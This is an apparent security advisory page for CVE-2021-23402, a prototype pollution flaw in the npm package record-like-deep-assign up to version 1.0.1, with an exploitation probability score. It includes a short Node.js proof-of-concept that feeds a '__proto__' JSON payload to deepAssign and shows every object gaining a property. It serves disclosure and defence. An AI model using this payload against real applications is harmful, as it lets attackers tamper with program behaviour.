All reports
High

Prototype Pollution in record-like-deep-assign

Affected versions

Affected versions
<= 1.0.1
Fixed version
Not reported

Exploitation

CVE-2021-23402

Probability of exploitation in the next 30 days: 1.17%

FIRST EPSS · 2026-11-24

Description

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.

PoC
const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

Links